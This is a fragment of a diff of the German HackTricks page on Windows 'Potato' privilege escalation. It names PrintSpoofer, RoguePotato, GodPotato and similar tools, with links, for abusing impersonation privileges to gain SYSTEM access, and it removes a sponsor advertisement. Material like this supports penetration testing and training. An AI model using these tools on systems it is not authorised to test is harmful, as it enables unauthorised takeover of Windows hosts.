**JuicyPotato funktioniert nicht** auf Windows Server 2019 und Windows 10 Build 1809 und höher. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** verwendet werden, um **die gleichen Berechtigungen zu nutzen und Zugriff auf `NT AUTHORITY\SYSTEM`**-Ebene zu erhalten. Dieser [Blogbeitrag](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht ausführlich auf das Tool `PrintSpoofer` ein, das verwendet werden kann, um die Impersonationsberechtigungen auf Windows 10 und Server 2019-Hosts auszunutzen, wo JuicyPotato nicht mehr funktioniert.
|
||||
**JuicyPotato funktioniert nicht** auf Windows Server 2019 und Windows 10 Build 1809 und höher. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** verwendet werden, um **die gleichen Berechtigungen zu nutzen und Zugriff auf `NT AUTHORITY\SYSTEM`** zu erhalten. Dieser [Blogbeitrag](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht ausführlich auf das `PrintSpoofer`-Tool ein, das verwendet werden kann, um die Identitätsprivilegien auf Windows 10 und Server 2019-Hosts auszunutzen, auf denen JuicyPotato nicht mehr funktioniert.
|
||||
{% endhint %}
|
||||
|
||||
## Schnelle Demo
|
||||
|
@ -117,17 +103,6 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
Loading…
Reference in a new issue